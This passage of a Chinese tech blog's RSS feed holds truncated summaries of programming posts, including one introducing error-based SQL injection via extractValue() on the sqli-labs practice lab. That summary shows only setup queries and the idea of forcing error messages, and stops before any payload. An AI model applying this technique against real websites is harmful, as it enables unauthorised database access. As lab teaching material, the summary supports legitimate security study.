      <description>目录&#xA;F8案例&#xA;​编辑 debug过程中报错&#xA;​编辑用debug查看方法源码&#xA;一层一层查看 Arrays.sort()方法&#xA;F9&#xA;DebugExercise&#xA;介绍：断点调试是指在程序的某一行设置一个断电，调试时，程序运行到这一行就会停住，然后可以一步步往下调试，调试过程中可以看到各个变量当前的值，如果出错的话，调试到出错的代码行就会显示错，进行分析从而找到这个bug。&#xA;快捷键：F7（跳入：跳入方法内），F8（跳过：逐行执行代码），shift+F8（跳出：跳出方法），F9（resume，执行到下一个断点）&#xA;F8案例 public class Debug01 { public static void main(String[] args) { int sum = 0; for (int i = 0; i &amp;lt;= 3; i++) { sum += i; System.out.println(&#34;i=&#34; + i); System.out.println(&#34;sum=&#34; + sum); } System.out.println(&#34;结束循环&#34;); } } 逐行执行代码&#xA;遇到输出语句会挨个输出&#xA;循环执行完后就会执行后面的语句&#xA;直到该程序所有语句全部执行完就会自动跳出&#xA;debug过程中报错 public class Debug02 { public static void main(String[] args) { int[] arr = {1, 2, 3}; for (int i = 0; i &amp;lt;= arr.</description>
    </item>
    <item>
      <title>SQL注入——extractValue（）报错注入</title>
      <link>https://bchobby.github.io/posts/02bb7ed308af91d558d529f80d9b42d3/</link>
      <pubDate>Mon, 06 Mar 2023 20:42:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02bb7ed308af91d558d529f80d9b42d3/</guid>
      <description>目录&#xA;一，注入原理&#xA;二，实例（less-5）&#xA;一，注入原理 函数extractValue（）包含两个参数：&#xA;第一个参数是XML文档对象名，第二个参数是路径&#xA;以创建数据库ctfstu和数据表xml为示例，展示函数extractValue（）的用法&#xA;1，先在ctfstu数据库内创建表xml&#xA;create database ctfstu charset utf8; create table xml(doc varchar(150)); 2，再在表中插入两段数据&#xA;INSERT INTO xml values(&#39; &amp;lt;book&amp;gt; &amp;lt;title&amp;gt;A bad boy how to get a girlfriend&amp;lt;/title&amp;gt; &amp;lt;author&amp;gt; &amp;lt;initial&amp;gt;LOVE&amp;lt;/initial&amp;gt; &amp;lt;surname&amp;gt;benben&amp;lt;/surname&amp;gt; &amp;lt;/author&amp;gt; &amp;lt;/book&amp;gt; &#39;); INSERT INTO xml values(&#39; &amp;lt;book&amp;gt; &amp;lt;title&amp;gt;how to become a bad boy&amp;lt;/title&amp;gt; &amp;lt;author&amp;gt; &amp;lt;initial&amp;gt;hualong&amp;lt;/initial&amp;gt; &amp;lt;surname&amp;gt;melton&amp;lt;/surname&amp;gt; &amp;lt;/author&amp;gt; &amp;lt;/book&amp;gt; &#39;); 3，使用extractvalue查询xml里面的内容&#xA;比如：&#xA;查询作者是谁：&#xA;select extractvalue(doc,&#39;/book/author/surname&#39;) from xml; 查询书名：&#xA;select extractvalue(doc,&#39;/book/title&#39;) from xml; 报错注入的突破口就是让页面上显示报错。&#xA;比如在本例中把查询参数的路径写错，页面上只会显示查询不到内容，但是不会报错。&#xA;但是如果把查询参数的格式符号写错，页面上就会提示出报错信息：</description>
    </item>
    <item>
      <title>unity Post与Get请求</title>
      <link>https://bchobby.github.io/posts/4bf3aa1f903f6fd96a10de2573b8a3f9/</link>
      <pubDate>Mon, 06 Mar 2023 19:36:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bf3aa1f903f6fd96a10de2573b8a3f9/</guid>
      <description>参考文章：Unity简单的Post与Get请求 - 简书适用人员（网络方面的小白）。 直接进入正题吧： 在使用Unity进行网络项目的时候，与服务器交互是常见的问题。而其中最常见的就是使用Post与Get与服务器进行交互。下面...https://www.jianshu.com/p/780ea08fb4d8&#xA;POST请求： using System; using System.Collections; using UnityEngine; using UnityEngine.Networking; public class MainProcess : MonoBehaviour { string token = &#34;&#34;;//登陆成功后token值 System.TimeSpan st;//时间戳 private void GenerateTimestamp() { st = System.DateTime.UtcNow - new System.DateTime(1970, 1, 1, 0, 0, 0);//获取时间戳Debug.Log(Convert.ToInt64(st.TotalSeconds) );//时间戳转换Int64 } IEnumerator post_Request(string url) { //传递信息 WWWForm form = new WWWForm(); form.AddField(&#34;type&#34;, 0); form.AddField(&#34;score&#34;, 100); form.AddField(&#34;remark&#34;, &#34;无&#34;); form.AddField(&#34;progress&#34;, &#34;1001&#34;); form.AddField(&#34;operationTimes&#34;, st); UnityWebRequest www = UnityWebRequest.Post(url, form); //请求添加token验证 www.</description>
    </item>
    <item>
      <title>ubuntu切换root用户出错：sudo:无法切换为root组ID:不允许的操作</title>
      <link>https://bchobby.github.io/posts/5d7aa72a78f8e0eff9fad698a3742f96/</link>
      <pubDate>Mon, 06 Mar 2023 17:09:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d7aa72a78f8e0eff9fad698a3742f96/</guid>
      <description> 解决方法：&#xA;是因为登录的是访客权限，权限不够的原因！切换回账号即可&#xA;ubuntu安装vmtool后依旧无法拖拽文件，复制粘贴，解决办法 sudo apt-get install open-vm-tools-desktop fuse </description>
    </item>
    <item>
      <title>【FATE联邦学习】的文档集合 collections of FATE framework documentations</title>
      <link>https://bchobby.github.io/posts/b21c4a13cdfe2e8600ed512e546e1bd9/</link>
      <pubDate>Mon, 06 Mar 2023 17:03:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b21c4a13cdfe2e8600ed512e546e1bd9/</guid>
      <description>其实有点不方便，文档乱乱的，各处都有我这里做个集合吧，其实都是官方做的。。。&#xA;这个应该是专门给国内的&#xA;https://docs.qq.com/doc/DU3ZQb1h1ZnZqTUFy&#xA;https://fate.readthedocs.io/en/latest/zh/federatedml_component/&#xA;这个是国际文档&#xA;https://fate.readthedocs.io/en/latest/zh/federatedml_component/intersect/&#xA;因为FATE是微众银行的开源，所以好处是有国内的社交平台联系号，其官方网站，可以加。&#xA;网站也给了哔哩哔哩的官方账号，账号里面有很多教程资源，都是中文的。</description>
    </item>
    <item>
      <title>【兔头蒜笔记 | P4常用命令】p4 change</title>
      <link>https://bchobby.github.io/posts/90480c18ec2361ebb917b085e7d826dd/</link>
      <pubDate>Mon, 06 Mar 2023 16:13:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90480c18ec2361ebb917b085e7d826dd/</guid>
      <description>在开发基于 p4 的 publish 工具时，为了避免 default 里可能存在的更改项与当前需要提交的文件们混淆，因此需要为其创建一个干净的 changelist。&#xA;一些准备工作&#xA;import os import stat import subprocess def connect_p4(data_pack): &#34;&#34;&#34; Connect to p4 according to data_pack and return p4 instance if successful &#34;&#34;&#34; # data_pack = [port, clnt, user, pswd] p4 = P4() p4.port = data_pack[0] p4.client = data_pack[1] p4.user = data_pack[2] # NOTE: This is to avoid p4 raising warnings when the depo is up-to-date # https://perforce-user.perforce.narkive.com/VbxnHKt2/p4-why-is-being-up-to-date-a-warning p4.exception_level = 1 try: p4.</description>
    </item>
    <item>
      <title>vivado综合常见报错（持续更新）</title>
      <link>https://bchobby.github.io/posts/d0bf3219ebc2bcdc55383994fda19ee2/</link>
      <pubDate>Mon, 06 Mar 2023 10:36:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0bf3219ebc2bcdc55383994fda19ee2/</guid>
      <description>[Synth 8-434] mixed level sensitive and edge triggered event controls are not supported for synthesis 错误原因:&#xA;一个触发器不能同时是边缘触发和电平触发的，因此不可被综合。所以最好统一，上图的情况可以去掉negedge。&#xA;IMPLEMENTATION报错 [Place 30-675] Sub-optimal placement for a global clock-capable IO pin and BUFG pair.If this sub optimal condition is acceptable for this design, you may use the CLOCK_DEDICATED_ROUTE constraint in the .xdc file to demote this message to a WARNING. However, the use of this override is highly discouraged. These examples can be used directly in the .</description>
    </item>
    <item>
      <title>1653. 使字符串平衡的最少删除次数</title>
      <link>https://bchobby.github.io/posts/63b2874bd9e0b5f53298ee18ee1b8ccf/</link>
      <pubDate>Mon, 06 Mar 2023 10:28:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63b2874bd9e0b5f53298ee18ee1b8ccf/</guid>
      <description>动态规划：&#xA;// 1. 如果当前是b则不考虑删除，并且统计b的个数&#xA;// 2. 如果当前是是a则考虑删除，（查看需要删除的b的数量多），还是n-1个删除总数+1 （前n-1个需要删除的最小数-前n-1的状态）的删除的数量多。&#xA;class Solution { public: int minimumDeletions(string s) { // 动态规划 // 1. 如果当前是b则不考虑删除，并且统计b的个数 // 2. 如果当前是是a则考虑删除，（查看需要删除的b的数量多），还是n-1个删除总数+1 ，的删除的数量多 int ant = 0; int countb = 0; for(auto&amp;amp; c:s){ if(c == &#39;a&#39;){ ant = min(ant+1,countb); }else{ ++countb; } } return ant; } }; //枚举&#xA;// 先找出a的总数&#xA;// 从第一个开始遍历，要找删除的最小数，那么只需要删除标记点左边的b+右边的a的总数的最小数即可&#xA;// 枚举 // 先找出a的总数 // 从第一个开始遍历，要找删除的最小数，那么只需要删除标记点左边的b+右边的a的总数的最小数即可 int righta = 0; int leftb = 0; for(auto &amp;amp;c:s){ if(c == &#39;a&#39;){ righta++; } } if(s.</description>
    </item>
    <item>
      <title>CAS 与 ABA问题</title>
      <link>https://bchobby.github.io/posts/173165873a36428ee553fee80ef147c7/</link>
      <pubDate>Mon, 06 Mar 2023 08:58:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/173165873a36428ee553fee80ef147c7/</guid>
      <description>本文通过学习：周阳老师-尚硅谷Java大厂面试题第二季 总结的CAS和ABA相关的笔记&#xA;一、CAS 1、CAS定义 CAS = Compare-And-Swap，它是CPU并发原语。&#xA;比较当前工作内存中的值和主物理内存中的值，如果相同则执行规定操作，否者继续比较直到主内存和工作内存的值一致为止。&#xA;3个操作数，内存值V，旧的预期值A，要修改的更新值B。当且仅当预期值A和内存值V相同时，将内存值V修改为B，否者什么都不做 2、CAS底层原理(unsafe类 + 变量valueOffset + 变量value用volatile修饰) atomicInteger.getAndIncrement()&#xA;实际是调用了一个unsafe类的getAndAddInt方法&#xA;unsafe&#xA;变量valueOffset&#xA;变量value用volatile修饰&#xA;usafe&#xA;Unsafe是CAS的核心类，由于Java方法无法直接访问底层系统，需要通过本地（Native）方法来访问，Unsafe相当于一个后门，基于该类可以直接操作特定的内存数据。Unsafe类存在sun.misc包中，其内部方法操作可以像C的指针一样直接操作内存，因为Java中的CAS操作的执行依赖于Unsafe类的方法。注意Unsafe类的所有方法都是native修饰的，也就是说unsafe类中的方法都直接调用操作系统底层资源执行相应的任务。&#xA;为什么Atomic修饰的包装类？-&amp;gt;能够保证原子性，依靠的就是底层的unsafe类。&#xA;valueOffset&#xA;该变量值在内存中的偏移地址，因为Unsafe就是根据内存偏移地址获取数据的。&#xA;通过valueOffset，直接通过内存地址，获取到值，然后进行加1的操作。&#xA;value用volatile修饰&#xA;volatile保证了多线程之间的内存可见性。&#xA;3、CAS优缺点 优点&#xA;CAS不加锁，在并发量不高时会提高效率。&#xA;缺点&#xA;循环时间长，开销大。因为执行的是do while，如果比较不成功一直在循环，最差的情况，就是某个线程一直取到的值和预期值都不一样，这样就会无限循环。&#xA;只能保证一个共享变量的原子操作。当对一个共享变量执行操作时，我们可以通过循环CAS的方式来保证原子操作；但是对于多个共享变量操作时，循环CAS就无法保证操作的原子性，这个时候只能用锁来保证原子性。&#xA;ABA问题。&#xA;4、synchronized与CAS区别 synchronized&#xA;(悲观锁)&#xA;CPU 悲观锁机制，即线程获得的是独占锁。独占锁就意味着 其他线程只能依靠阻塞来等待线程释放锁。而在 CPU 转换线程阻塞时会引起线程上下文切换，当有很多线程竞争锁的时候，会引起 CPU 频繁的上下文切换导致效率很低。尽管 Java1.6 为 synchronized 做了优化，增加了从偏向锁到轻量级锁再到重量级锁的过度，但是在最终转变为重量级锁之后，性能仍然较低。&#xA;CAS&#xA;(乐观锁)&#xA;乐观锁，它不会阻塞任何线程，所以在效率上，它会比 synchronized 要高。所谓乐观锁就是：每次不加锁而是假设没有冲突而去完成某项操作，如果因为冲突失败就重试，直到成功为止。&#xA;二、ABA问题及解决 原子引用&#xA;结果：&#xA;true 2019&#xA;原子引用计数(解决ABA问题)&#xA;结果：&#xA;t3 第一次版本号1&#xA;t4 第一次版本号1&#xA;t3 第一次版本号2&#xA;t3 第一次版本号3</description>
    </item>
    <item>
      <title>【记录】ubuntu下安装和部署RAP2</title>
      <link>https://bchobby.github.io/posts/1f646e704892f666bc8ab0932e443fe3/</link>
      <pubDate>Sun, 05 Mar 2023 23:52:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f646e704892f666bc8ab0932e443fe3/</guid>
      <description>ubuntu下安装和部署RAP2 1. 后台部署 1.1 安装mysql和redis $ sudo apt update $ sudo apt install mysql-server $ sudo apt install redis-server 1.2 安装pandoc 1.2.1 从pandoc release下载页面下载最新版本&#xA;$ wget https://github.com/jgm/pandoc/releases/download/3.1/pandoc-3.1-1-amd64.deb 1.2.2 安装&#xA;$ sudo dpkg -i pandoc-3.1-1-amd64.deb $ pandoc -v pandoc 3.1 Features: +server +lua Scripting engine: Lua 5.4 User data directory: /home/ubuntu/.local/share/pandoc Copyright (C) 2006-2023 John MacFarlane. Web: https://pandoc.org This is free software; see the source for copying conditions. There is no warranty, not even for merchantability or fitness for a particular purpose.</description>
    </item>
    <item>
      <title>使用async、await实现多个方法先后执行</title>
      <link>https://bchobby.github.io/posts/455e113c5eb5bbb0daa83f88c73bd930/</link>
      <pubDate>Sun, 05 Mar 2023 23:48:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/455e113c5eb5bbb0daa83f88c73bd930/</guid>
      <description> 一、场景 方法A需要先执行，执行成功后返回结果，作为方法B的入参，然后执行方法B。&#xA;二、实现 解决地狱回调问题&#xA;const getProductTotal = async ()=&amp;gt;{ try { const num = await api.getProductsNum() const productsPrice = await api.getProductsPrice({num:num.data}) console.log(&#39;async await解决地狱回调：商品总价格=&#39;, productsPrice.data) }catch (err) { // axios封装方法中已经对异常消息进行弹出提示，此处无需再弹出消息提示 console.log(&#39;err&#39;,err) } } </description>
    </item>
    <item>
      <title>Axios封装</title>
      <link>https://bchobby.github.io/posts/96639054ff7c8fdb0cf1f8a505d388f9/</link>
      <pubDate>Sun, 05 Mar 2023 23:30:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96639054ff7c8fdb0cf1f8a505d388f9/</guid>
      <description>一、目的 对Axios进行一下通用化的封装，目的是帮助简化代码和利于后期的更新维护。可以通用的配置如timeout、baseURL等抽取出来，对请求进行拦截处理等，方便后期管理。&#xA;二、步骤 1.准备工作(安装axios、element-plus) npm install axios npm install element-plus 2.请求配置(封装axios请求为request.js文件) 在src目录下新建utils文件夹，在utils文件夹下新建request.js文件&#xA;import axios from &#34;axios&#34; import { ElMessage } from &#39;element-plus&#39; // 网络请求公共配置 const instance = axios.create({ // 超时时间 timeout:5000 }) // 请求拦截器 instance.interceptors.request.use( config =&amp;gt;{ // 处理post请求、添加token头等 return config }, error =&amp;gt; { return Promise.reject(error) } ) // 响应拦截器 instance.interceptors.response.use( response =&amp;gt;{ if (response.status !== 200) { return Promise.reject(response); } // 当后台使用封装commonResult时进行统一异常信息打印 if (response.data.success !== undefined &amp;amp;&amp;amp; response.</description>
    </item>
    <item>
      <title>使用Jmeter进行压力测试</title>
      <link>https://bchobby.github.io/posts/119a329aab1a99d3c55f6069efb84019/</link>
      <pubDate>Sun, 05 Mar 2023 22:16:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/119a329aab1a99d3c55f6069efb84019/</guid>
      <description>文章目录 一、压力测试关注点1、压力测试分为两种测试场景2、压测参数设置3、压测结果查看4、压测结果分析5、影响性能的主要参考因素 二、压测脚本的编写1、创建线程组2、配置元件3、取样器4、响应断言5、添加监听器6、执行测试测试计划，查看测试报告7、命令行执行测试计划，查看测试报告 参考地址： https://blog.csdn.net/weixin_45189665/article/details/125278218 一、压力测试关注点 1、压力测试分为两种测试场景 一种是单一接口进行压测；第二种是多个接口同时压测。压测时间，一般控制在10-15分钟。如果是疲劳测试，可以压一天或一周。&#xA;2、压测参数设置 1）线程数：用于设置并发数量，也就是多少个用户同时访问&#xA;2）Rame-Up Period(in seconds)：控制每隔多少秒内发动并发&#xA;3）循环次数：用于设置线程组的循环次数&#xA;4）调度器：设置压测的持续时间、延时时间&#xA;5）运行网络：最好设置与服务器在同一网络，降低因网速问题导致的结果不准确。&#xA;3、压测结果查看 脚本运行完成后，可通过查看结果树和聚合报告结果来显示接口是否运行成功及压测结果参数，主要关注的参数有：&#xA;1）Samples：表示一共发出的请求数&#xA;2）Average：平均响应时间，单位ms&#xA;3）Error%：测试出现的错误请求数量百分比&#xA;4）Throughput：吞吐量，简称tps，表示服务器每秒处理的请求数，tps越高说明服务器处理能力越好&#xA;4、压测结果分析 1）压测结束，登陆相应的web服务器查看CPU等性能指标，进行数据的分析;&#xA;2）不断的增加并发数，加到tps达到一定值开始出现下降，这个值就是最大的tps；&#xA;3）不断增加并发数，达到一个值后，服务器不断出现请求超时，这个值就是最大的并发数；&#xA;4）确定允许错误率的范围，与当前的错误率进行比较；&#xA;5、影响性能的主要参考因素 数据库、应用程序、中间件、网络和操作系统等方面。&#xA;二、压测脚本的编写 1、创建线程组 1）测试计划右键–&amp;gt;添加–&amp;gt;线程（用户）–&amp;gt;线程组&#xA;2）设置线程数500&#xA;2、配置元件 1）线程组右键–&amp;gt;添加–&amp;gt;配置元件–&amp;gt;HTTP信息头管理器&#xA;2）配置信息头参数（具体参数配置哪些需参照接口文档）&#xA;3）线程组右键–&amp;gt;添加–&amp;gt;配置元件–&amp;gt;HTTP请求默认值&#xA;4）配置http请求默认值参数（协议、IP、端口号、内容编码等）&#xA;3、取样器 1）线程组右键–&amp;gt;添加–&amp;gt;取样器–&amp;gt;HTTP请求&#xA;2）接口参数配置（根据实际接口信息进行配置）&#xA;4、响应断言 1）HTTP请求右键–&amp;gt;添加–&amp;gt;断言–&amp;gt;响应断言&#xA;2）断言参数配置&#xA;5、添加监听器 1）线程组右键–&amp;gt;添加–&amp;gt;监听器–&amp;gt;查看结果树&#xA;2）线程组右键–&amp;gt;添加–&amp;gt;监听器–&amp;gt;聚合报告&#xA;6、执行测试测试计划，查看测试报告 7、命令行执行测试计划，查看测试报告 使用命令行模式运行JMeter脚本可以大大缩减所需要的系统资源，因此关闭JMeter，使用命令行来运行。&#xA;1）执行命令（如果不在当前目录下，则需要填写绝对路径，文件夹需要提前建好）：&#xA;jmeter -n -t E:\Jmeter/testplan/EWSHOP.jmx -l E:\Jmeter/result/result.txt -e -o E:\Jmeter/webreport&#xA;说明：&#xA;testplan/test.jmx 为测试计划文件路径&#xA;testplan/result/result.txt 为测试结果文件路径&#xA;testplan/webreport 为web报告保存路径&#xA;-h：帮助&#xA;-n：表示 非GUI模式下运行Jmeter</description>
    </item>
    <item>
      <title>vue项目各文件说明</title>
      <link>https://bchobby.github.io/posts/0935eb107a753c7d13055bfd4a46b6f9/</link>
      <pubDate>Sun, 05 Mar 2023 19:04:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0935eb107a753c7d13055bfd4a46b6f9/</guid>
      <description>一、图简单说明下各个目录都是干嘛的：&#xA;总体框架：一个vue-cli的项目结构如下，其中src文件夹是需要掌握的，所以本文也重点讲解其中的文件，至于其他相关文件，了解一下即可。&#xA;四、文件结构细分&#xA;1、build——[webpack配置]&#xA;build文件主要是webpack的配置，主要启动文件是dev-server.js，当我们输入npm run dev首先启动的就是dev-server.js，它会去检查node及npm版本，加载配置文件，启动服务。&#xA;2、config——[vue项目配置]&#xA;config文件主要是项目相关配置，我们常用的就是当端口冲突时配置监听端口，打包输出路径及命名等&#xA;3、node_modules——[依赖包]&#xA;node_modules里面是项目依赖包，其中包括很多基础依赖，自己也可以根据需要安装其他依赖。&#xA;安装方法为打开cmd，进入项目目录，输入npm install [依赖包名称]，回车。&#xA;在两种情况下我们会自己去安装依赖：&#xA;（1）项目运行缺少该依赖包：例如项目加载外部css会用到的css-loader，路由跳转vue-loader等（安装方法示例：npm install css-loader）&#xA;（2）安装插件：如vux（基于WEUI的移动端组件库），vue-swiper（轮播插件）&#xA;注：有时会安装指定依赖版本，需在依赖包名称后加上版本号信息，如安装11.1.4版本的vue-loader，输入npm install vue-loader@11.1.4&#xA;4、src——[项目核心文件]&#xA;项目核心文件前面已经进行了简单的说明，接下来重点讲解main.js，App.vue及router的index.js&#xA;五、脚手架代码详解&#xA;我们看下创建后的项目目录里的主要文件：&#xA;1、index.html——[主页]&#xA;这个没什么好说的，就是一个简单的html页面，这里id=&#39;app&#39;，是为后面的设置vue作用域有关的。&#xA;index.html如其他html一样，但一般只定义一个空的根节点，在main.js里面定义的实例将挂载在根节点下，内容都通过vue组件来填充&#xA;2、文件：Hello.vue&#xA;说明：在*.vue文件，template标签里写html代码，且template直接子级只能有一个标签。style标签里写样式，script里面写js代码。&#xA;3、文件：App.vue——[根组件]&#xA;&amp;lt;template&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;img src=&#34;./assets/logo.png&#34;&amp;gt; &amp;lt;router-view/&amp;gt; //这里是用来展示路由页面内容的，如果想用跳转就用&amp;lt;router-link to=&#39;xxx&#39;&amp;gt;&amp;lt;/router-link&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;App&#39; } &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; #app { font-family: &#39;Avenir&#39;, Helvetica, Arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-align: center; color: #2c3e50; margin-top: 60px; } &amp;lt;/style&amp;gt; 一个vue页面通常由三部分组成:模板(template)、js(script)、样式(style)：</description>
    </item>
    <item>
      <title>Treap图文详解、效率分析与拓展应用——清华大学计算机系 郭家宝</title>
      <link>https://bchobby.github.io/posts/a09e4e7b63b73c5a7163c972c34e6168/</link>
      <pubDate>Sun, 05 Mar 2023 17:21:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a09e4e7b63b73c5a7163c972c34e6168/</guid>
      <description>先给出我自己的一份Treap的代码——传送门&#xA;一、什么是 Treap T r e a p = T r e e + H e a p Treap=Tree+Heap Treap=Tree+Heap T r e a p Treap Treap是一种平衡树&#xA;T r e a p Treap Treap发音为[tri:p]&#xA;这个单词的构造选取了 T r e e Tree Tree(树)的前两个字符和 H e a p Heap Heap(堆)的后三个字符， T r e a p = T r e e + H e a p Treap=Tree+Heap Treap=Tree+Heap&#xA;顾名思义&#xA;T r e a p Treap Treap把 B S T BST BST和 H e a p Heap Heap结合了起来</description>
    </item>
    <item>
      <title>论文解析[11] CAT: Cross Attention in Vision Transformer</title>
      <link>https://bchobby.github.io/posts/1646e4bfc2244d8287f0e3b11f9b9eb4/</link>
      <pubDate>Sun, 05 Mar 2023 14:02:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1646e4bfc2244d8287f0e3b11f9b9eb4/</guid>
      <description>发表时间：2021&#xA;论文地址：https://arxiv.org/abs/2106.05786v1&#xA;文章目录 摘要3 方法3.1 总体结构3.1.1 Inner-Patch Self-Attention Block3.1.2 Cross-Patch Self-Attention Block3.1.3 Cross Attention based Transformer 结论 摘要 使用图像patch来替换transformer中的word token所需要的计算量是巨大的。&#xA;在本论文中，我们在Transformer中提出了一种新的注意机制，称为交叉注意力。在图像patch内部而不是整张图像中捕获局部信息，在单通道特征图中的图像patch之间捕获全局信息。&#xA;两个操作都比Transformer中的标准自注意力有更少的计算量。通过在patch内和patch间交替应用注意力，我们实现了交叉注意力以更低的计算代价保持性能，构建了一个称为交叉注意力Transformer（CAT）的分层网络。&#xA;3 方法 3.1 总体结构 如图2（a），首先在patch嵌入层将输入图像缩小到 H 1 = H / P , W 1 = W / P H_1=H/P,W_1=W/P H1​=H/P,W1​=W/P，并将通道数提升到 C 1 C_1 C1​。接下来是一些在不同尺度进行特征提取的CAT层。&#xA;经过上面的预处理，进入第一个stage。patch数量是 H 1 / N × W 1 / N H_1/N×W_1/N H1​/N×W1​/N，patch大小为 N × N × C 1 N×N×C_1 N×N×C1​。stage1输出的特征图作为 F 1 F_1 F1​。</description>
    </item>
    <item>
      <title>使用URL方式从GitHub上克隆项目到IDEA的步骤</title>
      <link>https://bchobby.github.io/posts/8b44119be5ef6f0c7c9013942610f92c/</link>
      <pubDate>Sat, 04 Mar 2023 23:06:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b44119be5ef6f0c7c9013942610f92c/</guid>
      <description>第一步：Gitehub上点击右边的clone，复制你要克隆项目的URL&#xA;第二步：以管理员身份打开IDEA，file→new→project from version controller&#xA;第三步：把刚刚复制的URL粘贴到第一个输入框里，可以修改路径，放到自己想要的目录下，然后点击clone&#xA;第四步：耐心等待一下可能有点慢，成功克隆项目↓&#xA;接下来在IEDA上部署项目，以及安装依赖后正常运行的步骤，详见：(62条消息) GitHub克隆别人的项目部署到IDEA运行的步骤_两条鱼h的博客-CSDN博客</description>
    </item>
    <item>
      <title>zio1升级到zio2踩坑和总结</title>
      <link>https://bchobby.github.io/posts/eb65820456aabd438dbf69cb00e8eb42/</link>
      <pubDate>Sat, 04 Mar 2023 20:24:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb65820456aabd438dbf69cb00e8eb42/</guid>
      <description>并不全，记录了一些流程和注意点。新项目建议直接用zio2！&#xA;首先，从1.0迁移到2.0，可以使用官方的scalefix规则完成一部分方法自动替换（迁移主要解决方法重命名，去掉Has）。&#xA;然后，添加依赖到plugins.sbt：addSbtPlugin(&#34;ch.epfl.scala&#34; % &#34;sbt-scalafix&#34; % &#34;&amp;lt;version&amp;gt;&#34;)&#xA;然后，执行迁移：sbt &#34;scalafixEnable; scalafixAll github:zio/zio/Zio2Upgrade?sha=series/2.x&#34;，这会完成大部分关于方法名的重写。&#xA;比如：之前含有effect的方法被重写为带有attempt，带有M的被重写为带有ZIO。&#xA;不过仍有一些方法是被删除的没有修正，或者遗漏的一些方法没有被重写，需要自己手动改了，基本不需要什么大的改动，删除的方法可以在官方迁移文档中找到，实在找不到可以到discord频道询问。&#xA;接着更新zio办法到2.0.0即可。这里不用直接更新到最新版，这样可以保证迁移是最小改动，迁移后再升级即可。所有生态库也需要升级，如果有的生态库不支持，就暂时不能升级。&#xA;对于业务系统，当我们执行上述命令后，其实我们已经完成了大部分迁移。最后，我们应该尝试编译项目，修复剩余的编译错误。通常这步必会报错，因为由于2.0已经删除了Has、ZEnv、ZManaged，迁移规则也并不是完善的。&#xA;执行迁移命令后，Has被直接删掉了，代码看起来更清爽。&#xA;在删除ZManaged后，官方发现迁移工作可能非常庞大，后来出了个过渡方案，允许暂时不迁移ZManaged，但是需要导入一个中间包：&#34;dev.zio&#34; %% &#34;zio-managed&#34; % &#34;&amp;lt;2.x version&amp;gt;&#34;&#xA;zio2全部使用Scope，所以ZManaged本身不在核心库了。如果打算直接迁移，把ZManaged[Any, E, A]改成ZIO[Scope, E, A]即可。同时把resource.use(f)改成ZIO.scoped { resource.flatMap(f) }。&#xA;之前ZManaged的acquireRelease相关方法都已经在ZIO中，toManaged_也需要删掉，返回的R类型多出一个Scope，返回类型从ZManaged[R, E, A]变成ZIO[R with Scope, E, A]（此时需要ZIO.scoped()才能使用）。&#xA;Clock、Console、Random、System这些基础Layer已经移动到顶级包下面，需要改导入语句。&#xA;个人认为变动最大的是Transducer：拿一个zio-redis解码器举例，它在1.0中是这么写：&#xA;final val decoder: Transducer[RedisError.ProtocolError, Byte, RespValue] = { import internal.State val processLine = Transducer .fold[String, State](State.Start)(_.inProgress)(_ feed _) .mapM { case State.Done(value) =&amp;gt; IO.succeedNow(value) case State.Failed =&amp;gt; IO.fail(RedisError.ProtocolError(&#34;Invalid data received.&#34;)) case other =&amp;gt; IO.</description>
    </item>
    <item>
      <title>Git Bash运行vue create xxx无法使用上下箭头选择</title>
      <link>https://bchobby.github.io/posts/8592e836530dfad324729fb7a0d32385/</link>
      <pubDate>Sat, 04 Mar 2023 20:22:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8592e836530dfad324729fb7a0d32385/</guid>
      <description>一、问题 GitBash中使用vue create xxx创建项目，上下箭头无法使用&#xA;二、解决方案 使用winpty vue.cmd create xxx命令代替 vue create xxx 在gitbash 的/etc/bash.bashrc使用别名winpty vue.cmd代替vue 在文件最底部加上alias vue=&#39;winpty vue.cmd&#39;</description>
    </item>
    <item>
      <title>【Python】搭建虚拟环境</title>
      <link>https://bchobby.github.io/posts/3df0b6b0f48afd92ad394928241897d6/</link>
      <pubDate>Sat, 04 Mar 2023 20:14:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3df0b6b0f48afd92ad394928241897d6/</guid>
